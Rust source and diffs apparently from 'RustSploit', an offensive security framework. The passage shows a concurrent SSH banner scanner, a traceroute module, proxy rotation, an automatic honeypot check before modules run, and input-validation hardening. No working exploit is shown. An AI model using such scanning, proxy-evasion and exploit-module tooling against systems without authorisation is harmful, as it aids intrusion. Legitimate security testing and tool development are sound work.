let line = line.trim();
|
||||
if line.is_empty() || line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for port override (host:port)
|
||||
if let Some((host, port_str)) = line.rsplit_once(':') {
|
||||
if let Ok(p) = port_str.parse::<u16>() {
|
||||
targets.push((host.to_string(), p));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
targets.push((line.to_string(), port));
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
/// Main scan function
|
||||
pub async fn scan_ssh(
|
||||
targets: Vec<(String, u16)>,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SshScanResult> {
|
||||
let total = targets.len();
|
||||
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Scan tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let result = spawn_blocking(move || {
|
||||
grab_ssh_banner(&host_clone, port, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Some(banner)) => {
|
||||
stats.record_scan(true, false);
|
||||
let result = SshScanResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
banner: banner.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(result);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_scan(false, false);
|
||||
}
|
||||
Err(_) => {
|
||||
stats.record_scan(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Scan Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
|
||||
writeln!(file, "# Total: {} SSH services found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Parse initial target
|
||||
if !target.trim().is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
|
||||
|
||||
// Add initial target
|
||||
if !target.trim().is_empty() {
|
||||
targets.extend(parse_targets(target, port));
|
||||
}
|
||||
|
||||
// Add additional targets
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_targets_from_file(&file_path, port) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run scan
|
||||
let results = scan_ssh(targets, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "ssh_scan_results.txt").await?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ use rand::Rng;
|
||||
use rand::distr::Alphanumeric;
|
||||
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::io::{stdin, stdout, Write};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
use tokio::time::{Instant, Duration};
|
||||
@@ -247,6 +247,10 @@ async fn send_and_receive_one(
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
@@ -412,10 +416,17 @@ async fn execute_traceroute(target_name: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut user_input = String::new();
|
||||
print!("Are you running this as sudo? (yes/no): ");
|
||||
stdout().flush().unwrap();
|
||||
stdin().read_line(&mut user_input).expect("Failed to read line");
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut user_input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
// Safe wrapper for geteuid - it's a simple system call that cannot fail
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
|
||||
+218
-17
@@ -7,11 +7,16 @@ use rand::prelude::*;
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Mutex;
|
||||
use url::Url;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
const MAX_TARGET_LENGTH: usize = 512;
|
||||
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
|
||||
const MAX_URL_LENGTH: usize = 2048;
|
||||
const MAX_PATH_LENGTH: usize = 4096;
|
||||
const MAX_PROMPT_INPUT_LENGTH: usize = 1024;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
@@ -295,7 +300,7 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
"set" => {
|
||||
// Handle "set target <value>" - require "target " prefix with space
|
||||
if rest.starts_with("target ") {
|
||||
let raw_value = rest.strip_prefix("target ").unwrap().trim();
|
||||
let raw_value = rest.strip_prefix("target ").unwrap_or(&rest).trim();
|
||||
if raw_value.is_empty() {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
@@ -357,7 +362,59 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
None
|
||||
};
|
||||
|
||||
// Interactive prompt if no target is set
|
||||
let target = if target.is_none() {
|
||||
println!("{}", "[!] Warning: No target set.".yellow());
|
||||
|
||||
// Option 1: Manually set target
|
||||
match utils::prompt_yes_no("Do you want to provide a target address?", true).await {
|
||||
Ok(true) => {
|
||||
match prompt_string_default("Enter target", "").map_err(|e| anyhow::anyhow!("{}", e)) {
|
||||
Ok(input) => {
|
||||
match sanitize_target(&input) {
|
||||
Ok(valid_target) => {
|
||||
// Set it for future use too
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
// Try to set global but don't fail if it errors (e.g. strict subnet rules), just warn
|
||||
if let Err(e) = config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
println!("{}", format!("[*] Local target set to '{}', but failed to set global: {}", valid_target, e).dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[*] Target set to '{}'", valid_target).green());
|
||||
}
|
||||
Some(valid_target)
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Invalid target: {}", e).red());
|
||||
None
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
None
|
||||
}
|
||||
}
|
||||
},
|
||||
Ok(false) => {
|
||||
// Option 2: Fallback to localhost
|
||||
match utils::prompt_yes_no("Continue with localhost (127.0.0.1)?", false).await {
|
||||
Ok(true) => Some("127.0.0.1".to_string()),
|
||||
_ => {
|
||||
println!("{}", "[!] Execution aborted.".red());
|
||||
None
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(_) => None,
|
||||
}
|
||||
} else {
|
||||
target
|
||||
};
|
||||
|
||||
if let Some(ref t) = target {
|
||||
// Perform honeypot check before running module
|
||||
utils::basic_honeypot_check(t).await;
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
@@ -391,11 +448,13 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
// Honeypot check already done above
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
// Honeypot check already done above
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
@@ -436,6 +495,9 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
for (idx, ip) in ips.iter().enumerate() {
|
||||
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
|
||||
|
||||
// Perform honeypot check before running module
|
||||
utils::basic_honeypot_check(ip).await;
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
@@ -520,20 +582,34 @@ fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<Stri
|
||||
// Fallback if all have been tried
|
||||
proxy_list.choose(&mut rng)
|
||||
.map(|s| s.clone())
|
||||
.unwrap_or_else(|| proxy_list[0].clone())
|
||||
.unwrap_or_else(|| "http://127.0.0.1:8080".to_string()) // Default safe fallback if list is somehow empty but passed check
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe environment variable access
|
||||
static ENV_MUTEX: Mutex<()> = Mutex::new(());
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
/// Thread-safe wrapper around env::set_var
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
// Safety: This is a localized environment variable change.
|
||||
// We use a mutex to prevent race conditions with other threads reading/writing env vars.
|
||||
unsafe {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
/// Thread-safe wrapper around env::remove_var
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
// Safety: Similar to set_all_proxy_env, we guard this with a mutex.
|
||||
unsafe {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
}
|
||||
|
||||
fn split_command(input: &str) -> Option<(String, String)> {
|
||||
@@ -641,6 +717,18 @@ fn render_help() {
|
||||
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
|
||||
}
|
||||
println!();
|
||||
println!("{}", "Shell extras & command combining:".bold());
|
||||
println!(
|
||||
" - Commands can be chained with '&' and are executed left-to-right (max {}).",
|
||||
MAX_COMMAND_CHAIN_LENGTH
|
||||
);
|
||||
println!(" - Example: {}", "set target 10.0.0.1 & use scanners/smtp_user_enum & run".cyan());
|
||||
println!(" - Spacing around '&' is optional: {}", "use exploits/sample&run".cyan());
|
||||
println!(" - Targets and paths must not contain control characters or '..' (basic safety checks).");
|
||||
println!(" - Proxy rotation is automatic when 'proxy_on' is enabled and a proxy list is loaded.");
|
||||
println!(" - Honeypot detection runs automatically before module execution to warn about suspicious targets.");
|
||||
println!(" - Target normalization supports IPv4, IPv6, hostnames, URLs, and CIDR notation.");
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
|
||||
@@ -709,11 +797,33 @@ fn prompt_for_path(message: &str) -> io::Result<String> {
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let value = input.trim();
|
||||
if !value.is_empty() {
|
||||
return Ok(value.to_string());
|
||||
|
||||
// Length check
|
||||
if input.len() > MAX_PATH_LENGTH {
|
||||
println!("{}", format!("Path too long (max {} characters).", MAX_PATH_LENGTH).yellow());
|
||||
continue;
|
||||
}
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
|
||||
let value = input.trim();
|
||||
|
||||
if value.is_empty() {
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if value.chars().any(|c| c.is_control()) {
|
||||
println!("{}", "Path cannot contain control characters.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Basic path traversal check
|
||||
if value.contains("..") {
|
||||
println!("{}", "Path cannot contain '..' (path traversal).".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
return Ok(value.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -722,21 +832,64 @@ fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
|
||||
// Length check
|
||||
if input.len() > MAX_PROMPT_INPUT_LENGTH {
|
||||
println!("{}", format!("Input too long (max {} characters). Using default.", MAX_PROMPT_INPUT_LENGTH).yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
println!("{}", "Input cannot contain control characters. Using default.".yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
// If this looks like a URL, validate it
|
||||
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
|
||||
if trimmed.len() > MAX_URL_LENGTH {
|
||||
println!("{}", format!("URL too long (max {} characters). Using default.", MAX_URL_LENGTH).yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
if Url::parse(trimmed).is_err() {
|
||||
println!("{}", "Invalid URL format. Using default.".yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default_yes);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default_hint);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - y/n should be very short
|
||||
if input.len() > 10 {
|
||||
println!("{}", "Please answer with 'y' or 'n'.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
@@ -748,35 +901,83 @@ fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
}
|
||||
|
||||
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<u64>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<usize>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+829
-45
@@ -2,7 +2,7 @@
|
||||
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader};
|
||||
use std::io::{BufRead, BufReader, Write}; // Added Write for flush()
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
@@ -12,6 +12,7 @@ use reqwest;
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
use regex::Regex;
|
||||
use once_cell::sync::Lazy; // Added for safe static regex initialization
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
@@ -34,13 +35,34 @@ const MAX_PARALLEL_PROXIES: usize = 1000;
|
||||
/// Maximum timeout for proxy tests (5 minutes)
|
||||
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
|
||||
|
||||
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
|
||||
/// always return a valid "host:port" or "[ipv6]:port" string.
|
||||
/// Maximum length for command inputs to prevent DoS
|
||||
const MAX_COMMAND_LENGTH: usize = 8192;
|
||||
|
||||
/// Maximum length for file paths to prevent DoS
|
||||
const MAX_PATH_LENGTH: usize = 4096;
|
||||
|
||||
/// Dangerous command characters that should be sanitized or rejected
|
||||
const DANGEROUS_CMD_CHARS: &[char] = &['\x00', '\n', '\r', '\t'];
|
||||
|
||||
/// Comprehensive target normalization function.
|
||||
///
|
||||
/// Supports multiple input formats:
|
||||
/// - IPv4: "192.168.1.1", "192.168.1.1:8080"
|
||||
/// - IPv6: "::1", "[::1]", "[::1]:8080", "2001:db8::1"
|
||||
/// - Hostnames: "example.com", "example.com:443"
|
||||
/// - URLs: "http://example.com:8080" (extracts host:port)
|
||||
/// - CIDR: "192.168.1.0/24", "2001:db8::/32"
|
||||
///
|
||||
/// Returns normalized format:
|
||||
/// - IPv4/hostname: "host:port" or "host" (if no port)
|
||||
/// - IPv6: "[ipv6]:port" or "[ipv6]" (if no port)
|
||||
/// - CIDR: "network/prefix" (preserved as-is)
|
||||
///
|
||||
/// # Security
|
||||
/// - Validates input length to prevent DoS
|
||||
/// - Sanitizes input to prevent injection
|
||||
/// - Validates hostname format
|
||||
/// - Validates hostname/IP format
|
||||
/// - Prevents path traversal attempts
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
// Input validation
|
||||
let trimmed = raw.trim();
|
||||
@@ -58,7 +80,26 @@ pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
));
|
||||
}
|
||||
|
||||
// Basic sanitization - remove control characters and excessive whitespace
|
||||
// Check for path traversal attempts early
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Invalid target format: contains path traversal characters"));
|
||||
}
|
||||
|
||||
// Try to parse as URL first (handles http://, https://, etc.)
|
||||
if let Ok(url) = Url::parse(trimmed) {
|
||||
if let Some(host) = url.host_str() {
|
||||
let port = url.port().unwrap_or(0);
|
||||
let normalized = if port > 0 {
|
||||
format!("{}:{}", host, port)
|
||||
} else {
|
||||
host.to_string()
|
||||
};
|
||||
// Recursively normalize to handle IPv6 wrapping
|
||||
return normalize_target(&normalized);
|
||||
}
|
||||
}
|
||||
|
||||
// Basic sanitization - remove control characters except space/tab
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
|
||||
@@ -71,56 +112,278 @@ pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
return Err(anyhow!("Target contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if sanitized.contains("..") || sanitized.contains("//") {
|
||||
return Err(anyhow!("Invalid target format: contains path traversal characters"));
|
||||
// Check for CIDR notation (contains /)
|
||||
if sanitized.contains('/') {
|
||||
// Validate CIDR format
|
||||
let parts: Vec<&str> = sanitized.split('/').collect();
|
||||
if parts.len() != 2 {
|
||||
return Err(anyhow!("Invalid CIDR format: expected 'network/prefix'"));
|
||||
}
|
||||
|
||||
let network = parts[0].trim();
|
||||
let prefix_str = parts[1].trim();
|
||||
|
||||
// Validate prefix is a number
|
||||
let prefix: u8 = prefix_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid CIDR prefix: '{}' (must be 0-128 for IPv6, 0-32 for IPv4)", prefix_str))?;
|
||||
|
||||
// Normalize the network part (without prefix)
|
||||
let normalized_network = normalize_target(network)?;
|
||||
|
||||
// Validate prefix range based on IP version
|
||||
let is_ipv6 = normalized_network.starts_with('[') || normalized_network.matches(':').count() >= 2;
|
||||
if is_ipv6 {
|
||||
if prefix > 128 {
|
||||
return Err(anyhow!("Invalid IPv6 CIDR prefix: {} (max 128)", prefix));
|
||||
}
|
||||
} else {
|
||||
if prefix > 32 {
|
||||
return Err(anyhow!("Invalid IPv4 CIDR prefix: {} (max 32)", prefix));
|
||||
}
|
||||
}
|
||||
|
||||
return Ok(format!("{}/{}", normalized_network, prefix));
|
||||
}
|
||||
|
||||
// Handle already normalized formats
|
||||
if sanitized.contains("]:") || sanitized.starts_with('[') {
|
||||
// Validate the format
|
||||
if sanitized.starts_with('[') && !sanitized.contains(']') {
|
||||
// Handle already normalized IPv6 with brackets: [::1]:8080 or [::1]
|
||||
if sanitized.starts_with('[') {
|
||||
if let Some(bracket_end) = sanitized.find(']') {
|
||||
let ipv6_part = &sanitized[1..bracket_end];
|
||||
let after_bracket = &sanitized[bracket_end + 1..];
|
||||
|
||||
// Validate IPv6 address
|
||||
if !is_valid_ipv6(ipv6_part) {
|
||||
return Err(anyhow!("Invalid IPv6 address: '{}'", ipv6_part));
|
||||
}
|
||||
|
||||
// Check for port after bracket
|
||||
if after_bracket.starts_with(':') {
|
||||
let port_str = &after_bracket[1..].trim();
|
||||
if port_str.is_empty() {
|
||||
return Err(anyhow!("Invalid port format: missing port number"));
|
||||
}
|
||||
let port: u16 = port_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", port_str))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
return Ok(format!("[{}]:{}", ipv6_part, port));
|
||||
} else if !after_bracket.is_empty() {
|
||||
return Err(anyhow!("Invalid format after IPv6 address: '{}'", after_bracket));
|
||||
}
|
||||
return Ok(format!("[{}]", ipv6_part));
|
||||
} else {
|
||||
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
|
||||
}
|
||||
// Basic validation - check it's not just brackets
|
||||
